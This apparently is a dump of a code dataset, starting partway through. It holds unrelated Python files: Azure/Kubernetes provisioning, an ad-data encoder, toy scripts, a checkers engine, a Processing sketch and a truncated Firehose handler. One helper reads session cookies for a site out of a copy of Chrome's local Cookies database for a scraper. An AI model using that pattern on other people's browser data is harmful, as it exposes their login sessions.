DeploymentMode.incremental,\n 'template': template,\n 'parameters': parameters\n }\n try:\n deployment_async_operation = self.client.deployments.create_or_update(\n self.resource_group,\n '{}-resource'.format(self.resource_group_prefix),\n deployment_properties\n )\n\n result = deployment_async_operation.result()\n msg = \"Deployment completed. Outputs:\"\n for k, v in result.properties.outputs.items():\n msg += f\"\\n- {k} = {str(v['value'])}\"\n self.logger.warn(msg)\n except CloudError as err:\n self.logger.error(\"CloudError: {0}\".format(err))\n sys.exit(1)\n except Exception as err:\n self.logger.error(\"Exception: {0}\".format(err))\n sys.exit(1)\n\n self.logger.info(\"Completed the deployment: {0.app_datacenter} ... \".format(self))\n\n def destroy(self):\n \"\"\"Destroy the given resource group\"\"\"\n self.logger.info(\"Deleting resource group: {0.app_datacenter} ... \".format(self))\n try:\n self.client.resource_groups.delete(self.resource_group)\n except CloudError as err:\n self.logger.error(\"CloudError: {0}\".format(err))\n sys.exit(1)\n except Exception as err:\n self.logger.error(\"Exception: {0}\".format(err))\n sys.exit(1)\n\n self.logger.info(\"Completed deleting: {0.app_datacenter} ... \".format(self))\n\n def sync_action(self, config_dict, args):\n \"\"\"\n Manages docker version sync between docker registry and datacenter\n :param config_dict: list of values for dataenter and registry of from and to\n :param args:\n :return:\n \"\"\"\n attrs = {}\n cluster_config = get_cluster_config(self.datacenter)\n attrs['cluster_config'] = cluster_config\n attrs['app_docker_registry'] = self.app_docker_registry\n attrs['location'] = self.location\n attrs.update(config_dict)\n os.makedirs(\"{user}/.kube\".format(user=os.path.expanduser(\"~\")), exist_ok=True)\n self.sshclient = remote.sshclient(\"{resourcegroup}-acs-mgmt-{datacenter}.{location}.cloudapp.azure.com\".format(\n resourcegroup=self.resource_group_prefix, location=self.location,\n datacenter=self.datacenter), \"{resourcegroup}acs{datacenter}\".format(\n resourcegroup=self.resource_group_prefix, datacenter=self.datacenter))\n self.sshclient.copyFileFrom(\".kube/config\", \"{user}/.kube/config\".format(user=os.path.expanduser(\"~\")))\n self.logger.info(\"Copied kube config from acs remote server\")\n copy = CopyDocker(datacenter=self.datacenter, **attrs)\n if args.task == \"copy\":\n copy.copy()\n\n def configure_git(self, args):\n \"\"\"\n Configures git repository with repo code, webhooks and protects\n :param args: repo details and actions on the repo\n :return:\n \"\"\"\n jenkins_host = \"{resourcegroup}-release-jenkins.{location}.cloudapp.azure.com\".format(\n resourcegroup=self.resource_group_prefix, location=self.location)\n\n if args.repo == \"\" and 'GIT_HUB_APP_REPO_NAME' in self.cluster_config and self.cluster_config[\n 'GIT_HUB_APP_REPO_NAME']:\n repo_name = self.cluster_config['GIT_HUB_APP_REPO_NAME']\n elif args.repo:\n repo_name = args.repo\n else:\n self.logger.error(\"Git Hub repo name not specified in the clusters.ini\")\n sys.exit(1)\n\n self.__dict__.update({\n 'jenkins_host': jenkins_host,\n 'image': args.image,\n 'repo': repo_name})\n\n git = GitHubApi(**self.__dict__)\n if args.task == \"repo\":\n git.create_repo(repo_name, os.getcwd())\n elif args.task == \"deleterepo\":\n git.delete_repo(repo_name)\n elif args.task == \"orghook\":\n git.create_org_hook()\n elif args.task == \"repohook\":\n git.create_repo_hook(repo_name)\n elif args.task == \"protect\":\n git.set_protection(repo_name)\n elif args.task == \"all\":\n git.create_repo(repo_name, os.getcwd())\n git.create_repo_hook(repo_name)\n git.set_protection(args.image)\n\n def image_action(self, config_dict, args):\n \"\"\"\n Performs action on image like deploy, scale, patch, rollback and getservice on Kube\n :param config_dict: List of image and conf details\n :param args: actions to be performed on the image\n :return:\n \"\"\"\n attrs = {}\n attrs['task'] = args.task\n cluster_config = get_cluster_config(self.datacenter)\n attrs['cluster_config'] = cluster_config\n attrs['app_docker_registry'] = self.app_docker_registry\n attrs['location'] = self.location\n\n if args.task == \"rollback\":\n if args.version == \"\":\n self.logger.info(\"Image: {}, Version: {} for rollback is not valid\".format(config_dict[\"name\"],args.version))\n sys.exit(1)\n attrs['version'] = args.version\n attrs.update(config_dict)\n\n if args.task in [\"deploy\", \"scale\", \"patch\", \"get\", \"getservice\", \"delete\",\"rollback\"]:\n os.makedirs(os.path.join(os.path.expanduser(\"~\"), \".kube\"), exist_ok=True)\n self.sshclient = remote.sshclient(\n \"{resourcegroup}-acs-mgmt-{datacenter}.{location}.cloudapp.azure.com\".format(\n resourcegroup=self.resource_group_prefix, location=self.location, datacenter=self.datacenter),\n \"{resourcegroup}acs{datacenter}\".format(resourcegroup=self.resource_group_prefix,\n datacenter=self.datacenter))\n self.sshclient.copyFileFrom(\".kube/config\", os.path.join(os.path.expanduser(\"~\"), \".kube\", \"config\"))\n self.logger.info(\"Copied kube config from acs remote server\")\n kube = KubeApi(datacenter=self.datacenter, **attrs)\n if args.task in [\"build\", \"push\"]:\n image = Image(**attrs)\n\n if args.task == \"deploy\":\n kube.deploy()\n elif args.task == \"scale\":\n kube.scale()\n elif args.task == \"patch\":\n kube.patch()\n elif args.task == \"rollback\":\n kube.rollback()\n elif args.task == \"get\":\n kube.get()\n elif args.task == \"getservice\":\n kube.getservice()\n elif args.task == \"delete\":\n kube.delete()\n elif args.task == \"build\":\n image.build()\n elif args.task == \"push\":\n image.push()\n elif args.task == \"all\":\n image.build()\n image.push()\n kube.deploy()\n else:\n self.logger.error(\"No task exist\")\n\n def _app_project_path(self):\n xs = self.project_path.split(os.sep)\n self.app_project_path = ''\n include = False\n for x in xs:\n if include:\n self.app_project_path = os.path.join(self.app_project_path, x)\n if 'joara-main' in x:\n include = True\n\n if self.app_project_path == '' and 'infrastructure' in xs:\n self.app_project_path = os.sep.join(xs[xs.index('infrastructure'):])\n else:\n self.app_project_path = self.app_project_path.lstrip(os.path.sep)\n\n self.logger.info(\"project path: {}\".format(self.app_project_path))\n self.app_project_path = os.path.join(self.app_main, self.app_project_path)\n self.logger.info(\"Absolute project path: {} \".format(self.app_project_path))\n\n def cd_project(self):\n self.cd(self.app_project_path)\n\n def get_temp_dir(self):\n temp_dir = os.path.join(tempfile.gettempdir(), '.{}'.format(hash(os.times())))\n return temp_dir\n\n def copy_sub_project(self, sub_project):\n self.cd(os.path.join(self.app_project_path, sub_project))\n temp_dir = self.get_temp_dir()\n self.logger.info(\"project path:{}\".format(os.path.join(self.app_project_path, sub_project)))\n self.logger.info(\"temp path:{}\".format(os.path.join(os.path.join(temp_dir, sub_project))))\n self.copy_and_overwrite(os.path.join(self.app_project_path, sub_project), os.path.join(temp_dir, sub_project))\n self.cd(os.path.join(temp_dir, sub_project))\n\n def copy_project(self):\n self.cd_project()\n temp_dir = self.get_temp_dir()\n self.copy_and_overwrite(os.path.join(self.app_project_path), os.path.join(temp_dir, self.project_name))\n self.logger.info(\"project path:{}\".format(os.path.join(temp_dir, self.project_name)))\n self.cd(os.path.join(temp_dir, self.project_name))\n\n def copy_and_overwrite(self, from_path, to_path):\n shutil.rmtree(to_path, ignore_errors=True)\n if os.path.exists(to_path):\n shutil.rmtree(to_path, ignore_errors=True)\n shutil.copytree(from_path, to_path)\n\n\ncpu_high = \"\"\"{\n \"location\": \"{{ location }}\",\n \"tags\": { },\n \"properties\": {\n \"name\": \"CPUHigh Plan\",\n \"description\": \"The CPU is high across the Jenkins instances of Plan\",\n \"isEnabled\": true,\n \"condition\": {\n \"odata.type\": \"Microsoft.Azure.Management.Insights.Models.ThresholdRuleCondition\",\n \"dataSource\": {\n \"odata.type\": \"Microsoft.Azure.Management.Insights.Models.RuleMetricDataSource\",\n \"resourceUri\": \"{{ resourceid }}\",\n \"metricName\": \"Percentage CPU\"\n \n },\n \"operator\": \"GreaterThan\",\n \"threshold\": {{ higherthreshold }},\n \"windowSize\": \"PT5M\"\n },\n \"actions\": [\n {\n \"odata.type\": \"Microsoft.Azure.Management.Insights.Models.RuleEmailAction\",\n \"sendToServiceOwners\": true,\n \"customEmails\": [\"{{ notification_email }}\"]\n }\n ]\n }\n}\"\"\".strip()\n\ncpu_zero = \"\"\"{\n \"location\": \"{{ location }}\",\n \"tags\": { },\n \"properties\": {\n \"name\": \"CPULow Plan\",\n \"description\": \"The CPU is Low across the Jenkins instances of Plan\",\n \"isEnabled\": true,\n \"condition\": {\n \"odata.type\": \"Microsoft.Azure.Management.Insights.Models.ThresholdRuleCondition\",\n \"dataSource\": {\n \"odata.type\": \"Microsoft.Azure.Management.Insights.Models.RuleMetricDataSource\",\n \"resourceUri\": \"{{ resourceid }}\",\n \"metricName\": \"Percentage CPU\"\n },\n \"operator\": \"LessThanOrEqual\",\n \"threshold\": 0,\n \"windowSize\": \"PT5M\"\n },\n \"actions\": [\n {\n \"odata.type\": \"Microsoft.Azure.Management.Insights.Models.RuleEmailAction\",\n \"sendToServiceOwners\": true,\n \"customEmails\": [\"{{ notification_email }}\"]\n }\n ]\n }\n}\"\"\".strip()\n\ncpu_low = \"\"\"{\n \"location\": \"{{ location }}\",\n \"tags\": { },\n \"properties\": {\n \"name\": \"CPULow Plan\",\n \"description\": \"The CPU is Low across the Jenkins instances of Plan\",\n \"isEnabled\": true,\n \"condition\": {\n \"odata.type\": \"Microsoft.Azure.Management.Insights.Models.ThresholdRuleCondition\",\n \"dataSource\": {\n \"odata.type\": \"Microsoft.Azure.Management.Insights.Models.RuleMetricDataSource\",\n \"resourceUri\": \"{{ resourceid }}\",\n \"metricName\": \"Percentage CPU\"\n },\n \"operator\": \"LessThanOrEqual\",\n \"threshold\": {{ lowthreshold }},\n \"windowSize\": \"PT5M\"\n },\n \"actions\": [\n {\n \"odata.type\": \"Microsoft.Azure.Management.Insights.Models.RuleEmailAction\",\n \"sendToServiceOwners\": true,\n \"customEmails\": [\"{{ notification_email }}\"]\n }\n ]\n }\n}\"\"\".strip()\n","sub_path":"jenkins/joara-main/joara-app-provision/joara_app_provision/python_libs/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":53600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"359024061","text":"# coding:utf8\nfrom cookielib import CookieJar as _CookieJar, DefaultCookiePolicy\nfrom scrapy.utils.httpobj import urlparse_cached\n\n\nclass GetCookieJar(object):\n def __init__(self, domain):\n self._domain = domain\n\n def sqlite2cookie(): # filename\n from cStringIO import StringIO\n # from pysqlite2 import dbapi2 as sqlite\n import sqlite3\n import cookielib\n\n ## but we can make sqlite3 always return bytestrings ...\n # Cookies file come from C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies\n con = sqlite3.connect(r'C:\\Cookies')\n con.text_factory = str\n\n cur = con.cursor()\n # cur.execute(\"select host, path, isSecure, expiry, name, value from moz_cookies\")\n cur.execute(\"select host_key, path, secure, expires_utc, name, value from cookies where host_key like '%zhihu%'\")\n\n ftstr = [\"FALSE\", \"TRUE\"]\n\n s = StringIO()\n s.write(\"\"\"\\\n # Netscape HTTP Cookie File\n # http://www.netscape.com/newsref/std/cookie_spec.html\n # This is a generated file! Do not edit.\n \"\"\")\n for item in cur.fetchall():\n try:\n s.write(\"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\" % (\n item[0], ftstr[item[0].startswith('.')], item[1],\n ftstr[item[2]], item[3], item[4], item[5]))\n except UnicodeError:\n continue\n s.seek(0)\n\n cookie_jar = cookielib.MozillaCookieJar()\n cookie_jar._really_load(s, '', True, True)\n return cookie_jar\n","sub_path":"cn/zp/handler/get_cookie_jar.py","file_name":"get_cookie_jar.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"471758612","text":"# include the Numpy Library\nimport numpy as np \n\n#define the main () function\ndef main():\n\n\ti = 0\t# declare i, initialize 0\n\tx = 119.0\t# declare a float x\n\t\n\tfor i in range(120):\t#loop i from 0 to 119 inclusive\n\t\tif((i%2)==0):\t#if i is even\n\t\t\tx += 3\t#add 3 to x -- x = x+3\n\t\telse:\t#if i is odd\n\t\t\tx -= 5\t#subtract 5 from x\n\t\t\t\n\ts = \"%3.2e\" % x # make string s containing the value of x\n\t\t\t\t\t#in sci notation w 2 decimal places showing\n\t\n\tprint(s)\t#print s to screen\n\t\n#rest of program continues \n\nif __name__ == \"__main__\":\t#call main \n\tmain()\t#run the main function","sub_path":"hello_again.py","file_name":"hello_again.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"23738778","text":"# -*- coding: utf-8 -*-\nimport random\nimport time\nimport numpy as np\nfrom scipy.sparse import csr_matrix\nimport pickle\nimport config\nfrom mac_os_file import MacOSFile\n\n\nclass IpinyouEncoder():\n def __init__(self, camp=\"\", data_type=\"train\", ignore=0):\n self.camp = camp\n self.data_type = data_type\n self.yzx_path = config.data_folder + \"{}/{}.yzx.txt\".format(camp, data_type)\n self.feat_path = config.data_folder + \"{}/featindex.txt\".format(camp)\n self.pickle_path = config.encoder_folder + \"{}_{}_encode.pkl\".format(camp, data_type)\n self.Y = []\n self.Z = []\n self.X = []\n self.feat = {}\n feat_f = open(self.feat_path, 'r')\n for l in feat_f:\n s = l.split('\\t')\n encode_index = int(s[1])\n self.feat[s[0]] = encode_index\n feat_f.close()\n self.feat_num = len(self.feat)\n\n def encode_one(self, x):\n row_ind, col_ind, data = self.sparse_encode(x)\n return csr_matrix((data, (row_ind, col_ind)), shape=(1, len(self.feat)), dtype=np.float64)\n\n def sparse_encode(self, x, row_index=0):\n row_ind_list = []\n col_ind_list = []\n data_list = []\n for feat in x:\n parts = feat.split(\":\")\n col_ind = int(parts[0])\n data = int(parts[1])\n row_ind_list.append(row_index)\n col_ind_list.append(col_ind)\n data_list.append(data)\n\n return row_ind_list, col_ind_list, data_list\n\n def encode(self, ignore=0):\n start = time.time()\n print(\"Start encoding {} {} data\".format(self.camp, self.data_type))\n f_yzx = open(self.yzx_path, 'r', encoding=\"utf-8\")\n count = 0\n ignore_count = 0\n y_list = []\n z_list = []\n row_ind_list = []\n col_ind_list = []\n data_list = []\n for line in f_yzx:\n # pass ignore lines\n if ignore_count < ignore:\n ignore_count += 1\n continue\n\n # data is yzx format(y:click, z:market price, x:feature)\n parts = line.strip(\"\\n\").split(\" \")\n y = parts[0]\n z = parts[1]\n y_list.append(y)\n z_list.append(z)\n features = []\n for feat in parts[2:]:\n features.append(feat)\n row_ind, col_ind, data = self.sparse_encode(features, count)\n col_ind_list.extend(col_ind)\n row_ind_list.extend(row_ind)\n data_list.extend(data)\n\n count += 1\n\n if count % 500000 == 0:\n print(\"{} records have been encoded\".format(count))\n\n self.Y = np.array(y_list, dtype=np.float64)\n self.Z = np.array(z_list, dtype=np.float64)\n self.X = csr_matrix((data_list, (row_ind_list, col_ind_list)), shape=(count, self.feat_num), dtype=np.float64)\n end = time.time()\n print(\"Encode done! Total {} records have been encoded.\".format(count))\n print(\"Time used:{}\".format(end - start))\n\n def dump_pickle(self):\n with open(self.pickle_path, 'w+b') as f:\n # pickle.dump(self, f, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(self, MacOSFile(f), protocol=pickle.HIGHEST_PROTOCOL)\n\n # load pickle and return CampInfo class data\n def load_pickle(self):\n with open(self.pickle_path, 'rb') as f:\n # pickle_info = pickle.load(f, encoding='bytes')\n pickle_info = pickle.load(MacOSFile(f), encoding='bytes')\n for key, value in vars(pickle_info).items():\n setattr(self, key, value)\n return pickle_info\n\n\nif __name__ == '__main__':\n data_type = [\"train\", \"test\"]\n # campaign_list = config.campaign_list\n campaign_list = [\"all\"]\n for camp in campaign_list:\n for type in data_type:\n ipinyou_encoder = IpinyouEncoder(camp, type)\n ipinyou_encoder.encode()\n ipinyou_encoder.dump_pickle()","sub_path":"src/ipinyou_encoder.py","file_name":"ipinyou_encoder.py","file_ext":"py","file_size_in_byte":3973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"61355732","text":"# there are a list of points (x, y), calculate distance between 2 points.\n\npoints = [(1, 2), (3, 4), (5, 6), (7, 8)]\n\nimport math\ndef distance(p1, p2):\n\tx1, y1 = p1\n\tx2, y2 = p2\n\treturn math.hypot(x2 - x1, y2 - y1)\n\n# use partial()\nfrom functools import partial\npt = (4, 3)\npoints.sort(key=partial(distance, pt))\nprint (points)\n","sub_path":"7_function/8_n_parameter_callable_object_call_with_fewer_parameters/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"513858246","text":"import re\r\n\r\n#No 4\r\nf = open('key.htm', 'r', encoding='latin1')\r\nteks = f.read()\r\nf.close()\r\ni = r'\\s[\\d\\.\\w\\/]+'\r\np = r'(\\w+)' + i + i + i + r'\\s([\\d\\.\\w\\/]+)'\r\nstring = re.findall(p, teks)\r\nstring1 = [(i[0], float(i[1])) for i in string]\r\nprint(string1)\r\n","sub_path":"Modul 7/No.4.py","file_name":"No.4.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"506526764","text":"import numpy as np\nimport seaborn as sns\nimport streamlit as st\nimport pandas as pd\n\n@st.cache\ndef get_results_for_different_starting_days(df, horizonte_de_tiempo: pd.Timedelta):\n\n beg_period = df.Fecha.min()\n #end_period = df.Fecha.max() - horizonte_de_tiempo\n end_period = df.Fecha.min() + pd.Timedelta(\"50d\")\n\n all_starting_days_of_experiment = pd.date_range(\n beg_period, end_period, freq='d')\n\n relevant_columns = [col for col in df.columns if col != 'Fecha']\n\n rows = []\n for start_date in all_starting_days_of_experiment:\n start_data = df.loc[df.Fecha == start_date, relevant_columns]\n end_data = df.loc[df.Fecha == start_date +\n horizonte_de_tiempo, relevant_columns]\n rows.append(pd.DataFrame(100 * (end_data.values / start_data.values - 1), columns=relevant_columns,\n index=[start_date]))\n\n results = pd.concat(rows)\n\n return results\n\n\ndef compare_distributions(dataframe, col_names: list, ax, kde_kws={},\n hist=False):\n \"\"\"\n kde_kws={'cumulative': True} for cumulative plots\n \"\"\"\n for col in col_names:\n sns.distplot(dataframe[col], ax=ax, label=col,\n hist=hist, kde_kws=kde_kws)\n","sub_path":"src/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"591629674","text":"cords = []\nfor v in open(\"day12.txt\",\"r\").readlines():\n direction = v[0]\n num = int(v[1:])\n cords.append((direction,num))\n\ndef parse_dir(f,num):\n if f == \"N\":\n return (0,num)\n elif f == \"S\":\n return (0,-num)\n elif f == \"E\":\n return (num,0)\n elif f == \"W\":\n return (-num,0)\n else:\n raise ValueError(\"WTF\")\n\ndef parse_degress(deg):\n if 0 > deg:\n deg = 360 + deg\n if deg > 360:\n deg = deg - 360\n if deg == 360:\n deg = 0\n return deg\n\ndef p1():\n deg = 0\n start = [0,0]\n for val in cords:\n if val[0] == \"R\" or val[0] == \"L\":\n if val[0] == \"R\":\n deg -= val[1]\n else:\n deg += val[1]\n deg = parse_degress(deg)\n elif val[0] == \"F\":\n if deg == 90:\n dir_char = \"N\"\n elif deg == 180:\n dir_char = \"W\"\n elif deg == 0:\n dir_char = \"E\"\n elif deg == 270:\n dir_char = \"S\"\n else:\n raise ValueError(deg)\n ret = parse_dir(dir_char,val[1])\n start[0] += ret[0]\n start[1] += ret[1]\n else:\n ret = parse_dir(val[0],val[1])\n start[0] += ret[0]\n start[1] += ret[1] \n print(abs(start[1]) + abs(start[0]))\n\ndef p2():\n deg = 0\n boat = [0,0]\n start = [10,1]\n c = 0\n for val in cords:\n if val[0] == \"R\" or val[0] == \"L\":\n if val[0] == \"R\":\n deg = val[1]\n else:\n deg = 360 - val[1]\n if deg == 90:\n temp = start.copy()\n start[0] = temp[1]\n start[1] = -temp[0]\n elif deg == 180:\n start[0] = -start[0]\n start[1] = -start[1]\n elif deg == 270:\n temp = start.copy()\n start[0] = -temp[1]\n start[1] = temp[0]\n else:\n raise ValueError(val)\n elif val[0] == \"F\":\n multiplier = val[1]\n boat[0] += start[0] * multiplier\n boat[1] += start[1] * multiplier\n else:\n ret = parse_dir(val[0],val[1])\n start[0] += ret[0]\n start[1] += ret[1] \n # print(f\"Way: {start}\")\n # print(f\"boat: {boat}\")\n print(abs(boat[1]) + abs(boat[0]))\n\np1()\np2()","sub_path":"day12/day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"581997043","text":"import global_vars\r\nfrom Enums import *\r\n\r\n\r\ndef get_initialized_board(rows=8, columns=8):\r\n global_vars.board = [[CELL_STATE.EMPTY for j in range(columns)] for i in range(rows)]\r\n for i in range(rows):\r\n for j in range(columns):\r\n if (i + j) % 2:\r\n if i < 3:\r\n global_vars.board[i][j] = CELL_STATE.WHITE\r\n elif ((rows - 3) <= i) and (i < rows):\r\n global_vars.board[i][j] = CELL_STATE.BLACK\r\n return global_vars.board\r\n\r\n\r\ndef is_there_any_possible_move():\r\n for i in range(len(global_vars.board)):\r\n for j in range(len(global_vars.board[i])):\r\n if (global_vars.whos_turn.value == global_vars.board[i][j].value) and (\r\n is_there_any_possible_move_for_piece(i, j)):\r\n return True\r\n return False\r\n\r\n\r\ndef is_there_any_possible_move_for_piece(row, column):\r\n return is_there_any_possible_eating_move_for_piece(row, column) or \\\r\n is_there_any_possible_simple_move_for_piece(row, column)\r\n\r\n\r\ndef is_there_any_possible_eating_move():\r\n for i in range(len(global_vars.board)):\r\n for j in range(len(global_vars.board[i])):\r\n if (global_vars.whos_turn == global_vars.board[i][j]) and (\r\n is_there_any_possible_eating_move_for_piece(i, j)):\r\n return True\r\n return False\r\n\r\n\r\ndef is_there_any_possible_eating_move_for_piece(start_row, start_column):\r\n if is_this_piece_is_at_the_2_last_rows(start_row):\r\n return False # the piece is not able to move forward from this point the edge of the board\r\n\r\n for direction in left_or_right_direction:\r\n if is_eating_possible_for_direction(start_row, start_column, direction):\r\n return True\r\n return False\r\n\r\n\r\ndef is_this_piece_is_at_the_2_last_rows(start_row):\r\n expected_row = start_row + 2 * global_vars.whos_turn.value\r\n return len(global_vars.board) <= expected_row or 0 > expected_row\r\n\r\n\r\ndef is_in_boundaries(row, column):\r\n if 0 <= row < len(global_vars.board):\r\n if 0 <= column < len(global_vars.board):\r\n return True\r\n return False\r\n\r\n\r\ndef is_opponent_exists(row, column):\r\n assert (is_in_boundaries(row, column))\r\n if global_vars.board[row][column] == get_opponent():\r\n return True\r\n return False\r\n\r\n\r\ndef is_free_space_after_oponent(row, column):\r\n assert (is_in_boundaries(row, column))\r\n if global_vars.board[row][column] == CELL_STATE.EMPTY:\r\n return True\r\n return False\r\n\r\n\r\ndef is_eating_possible_for_direction(start_row, start_column, left_or_right):\r\n expected_column = start_column + 2 * left_or_right.value\r\n expected_row = start_row + 2 * global_vars.whos_turn.value\r\n if not is_in_boundaries(expected_row, expected_column):\r\n return False\r\n\r\n if (is_opponent_exists(start_row + global_vars.whos_turn.value, start_column + left_or_right.value) and\r\n (is_free_space_after_oponent(expected_row, expected_column))):\r\n return True\r\n return False\r\n\r\n\r\ndef is_there_any_possible_simple_move_for_piece(row, column):\r\n if is_in_boundaries(row + global_vars.whos_turn.value, column + 1):\r\n if global_vars.board[row + global_vars.whos_turn.value][column + 1] == CELL_STATE.EMPTY:\r\n return True\r\n if is_in_boundaries(row + global_vars.whos_turn.value, column - 1):\r\n if global_vars.board[row + global_vars.whos_turn.value][column - 1] == CELL_STATE.EMPTY:\r\n return True\r\n return False\r\n\r\n\r\ndef get_opponent():\r\n assert global_vars.whos_turn != CELL_STATE.EMPTY\r\n if global_vars.whos_turn == CELL_STATE.WHITE:\r\n return CELL_STATE.BLACK\r\n else:\r\n return CELL_STATE.WHITE\r\n\r\n\r\ndef get_who_won_according_to_the_balance():\r\n balance = 0\r\n for i in range(len(global_vars.board)):\r\n for j in range(len(global_vars.board[i])):\r\n balance += global_vars.board[i][j].value\r\n\r\n if 0 == balance:\r\n return game_result.TIE\r\n if balance > 0:\r\n return game_result.FIRST\r\n else:\r\n return game_result.SECOND\r\n","sub_path":"Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":4118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"155985183","text":"add_library('sound')\r\nfrom processing import sound\r\ns = sound.Sound(this)\r\n \r\n\r\ndevice = None\r\nfft = None\r\nr_width=0\r\npointSize=6\r\n\r\nscale = 0.5\r\nbands = 64\r\nsum = [0.0] * bands\r\nsmooth_factor = 0.2\r\nr1=1\r\nr2=1\r\nr3=1\r\nr4=1\r\n\r\ndef setup():\r\n fullScreen()\r\n background(0)\r\n global device, img\r\n img = loadImage(\"logo3.jpg\")\r\n #noLoop()\r\n \r\n global s\r\n sin = sound.SoundFile(this, 'mcr.wav')\r\n sin.play()\r\n \r\n global fft\r\n fft = FFT(this, bands)\r\n fft.input(sin)\r\n \r\ndef draw():\r\n global s, img, pointSize\r\n amplitude = map(mouseY, 0, height, 0.4, 0.0)\r\n s.volume(0.7)\r\n \r\n x=int(random(img.width))\r\n y=int(random(img.height))\r\n #print(x,y)\r\n \r\n loc= int(x+y*img.width)\r\n \r\n loadPixels()\r\n r=red(img.pixels[loc]) \r\n b=blue(img.pixels[loc])\r\n g=green(img.pixels[loc]) \r\n \r\n fill(r, g, b, 255)\r\n noStroke()\r\n c1=(width-img.width)/2\r\n circle(c1+x, y, pointSize) \r\n #print(x,y)\r\n #image(img, 0, 0)\r\n #noStroke()\r\n \r\n global r1, r2, r3, r4\r\n c2=width/6\r\n c3=(height-img.height)/2\r\n c4=1.2*c3+img.height\r\n c5=min(c2,c3)\r\n \r\n fft.analyze()\r\n #print (fft.spectrum[:12])\r\n fill(0,0,0,255)\r\n noStroke()\r\n circle(c2, c4, r1+1) \r\n fill(300*fft.spectrum[1], 300*fft.spectrum[2], 300*fft.spectrum[3], 255)\r\n r1=0.53*c5*fft.spectrum[0]\r\n noStroke()\r\n circle(c2, c4, r1) \r\n\r\n fill(0,0,0,255)\r\n noStroke()\r\n circle(c2*3, c4, r2+1) \r\n fill(400*fft.spectrum[5], 400*fft.spectrum[6], 400*fft.spectrum[7], 255)\r\n r2=2.10*c5*fft.spectrum[4]\r\n noStroke()\r\n circle(c2*3, c4, r2) \r\n\r\n fill(0,0,0,255)\r\n noStroke()\r\n circle(c2*5, c4, r3+1) \r\n fill(400*fft.spectrum[9], 400*fft.spectrum[10], 400*fft.spectrum[11], 255)\r\n r3=3.25*c5*fft.spectrum[8]\r\n noStroke()\r\n circle(c2*5, c4, r3) \r\n\r\n #for i, v in enumerate(sum):\r\n # sum[i] += (fft.spectrum[i] - v) * smooth_factor\r\n # print(sum[i])\r\n # fill(255, 0, 150)\r\n # circle(width/2, height/2, -sum[i] * 400 * scale)\r\n \r\n\r\n \r\n \r\n \r\n","sub_path":"sketh_3/sketh/sketh.pyde","file_name":"sketh.pyde","file_ext":"pyde","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"366679577","text":"\"\"\" Handles incoming dynamodb stream items. \"\"\"\nimport json\nimport logging\nimport os\nimport time\nfrom typing import Dict, List\n\nimport boto3\nfrom botocore.config import Config\nimport botocore.exceptions\nimport sentry_sdk\nfrom sentry_sdk.integrations.aws_lambda import AwsLambdaIntegration\n\nlogger = logging.getLogger(__name__) # pylint: disable=invalid-name\nlogger.setLevel(logging.INFO)\n\nsentry_sdk.init(dsn=os.environ[\"SENTRY_DSN\"],\n environment=os.environ[\"ENV\"],\n integrations=[AwsLambdaIntegration()])\n\nconfig = Config( # pylint: disable=invalid-name\n connect_timeout=5,\n read_timeout=5,\n retries={\"max_attempts\": 0},\n)\n\nif os.environ.get(\"AWS_PROFILE\", \"\"):\n session = boto3.Session( # pylint: disable=invalid-name\n profile_name=os.environ[\"AWS_PROFILE\"],\n )\nelse:\n session = boto3.Session() # pylint: disable=invalid-name\n\nfirehose_client = session.client( # pylint: disable=invalid-name\n config=config,\n service_name=\"firehose\",\n)\n\n\ndef store_batch(records: List[Dict], retry_count: int = 0) -> List:\n \"\"\"\n Stores a list of generic records\n :param records: List[Dict]\n :param retry_count: int, defaults to 0\n :return: List[Dict], any failed records\n \"\"\"\n if retry_count > 2:\n logger.warning(\"Hit retry limit, returning %s failed records\", len(records))\n return records\n\n try:\n response = firehose_client.put_record_batch(\n DeliveryStreamName=os.environ[\"FIREHOSE_NAME\"],\n Records=[\n {\n \"Data\": \"{},\".format(json.dumps(obj).encode(\"utf-8\")),\n } for obj in records\n ]\n )\n except (botocore.exceptions.ConnectTimeoutError, botocore.exceptions.ReadTimeoutError) as err:\n logger.warning(\"firehose put batch timed out with: %s\", err)\n return store_batch(records, retry_count=retry_count+1)\n except botocore.exceptions.ClientError as err:\n error = err.response[\"Error\"][\"Code\"]\n if error == \"ServiceUnavailable\":\n logger.warning(\"firehose service not available, waiting some time\")\n time.sleep(5)\n return store_batch(records, retry_count=retry_count+1)\n\n logger.warning(\"Received uncaught aws error: %s - will retry\", error)\n time.sleep(3)\n return store_batch(records, retry_count=retry_count+1)\n\n # check for individual failed puts and add those independently\n failed_count = response[\"FailedPutCount\"]\n if failed_count < 1:\n logger.info(\"Successfully put all %s records, returning\", len(records))\n return []\n\n to_retry = [] # list of failed records to retry\n # loop through and find the failed ones\n for idx, response in enumerate(response[\"RequestResponses\"]):\n if \"ErrorCode\" in response:\n logger.warning(\"Individual record failed with error: %s and message: %s\",\n response[\"ErrorCode\"], response[\"ErrorMessage\"])\n 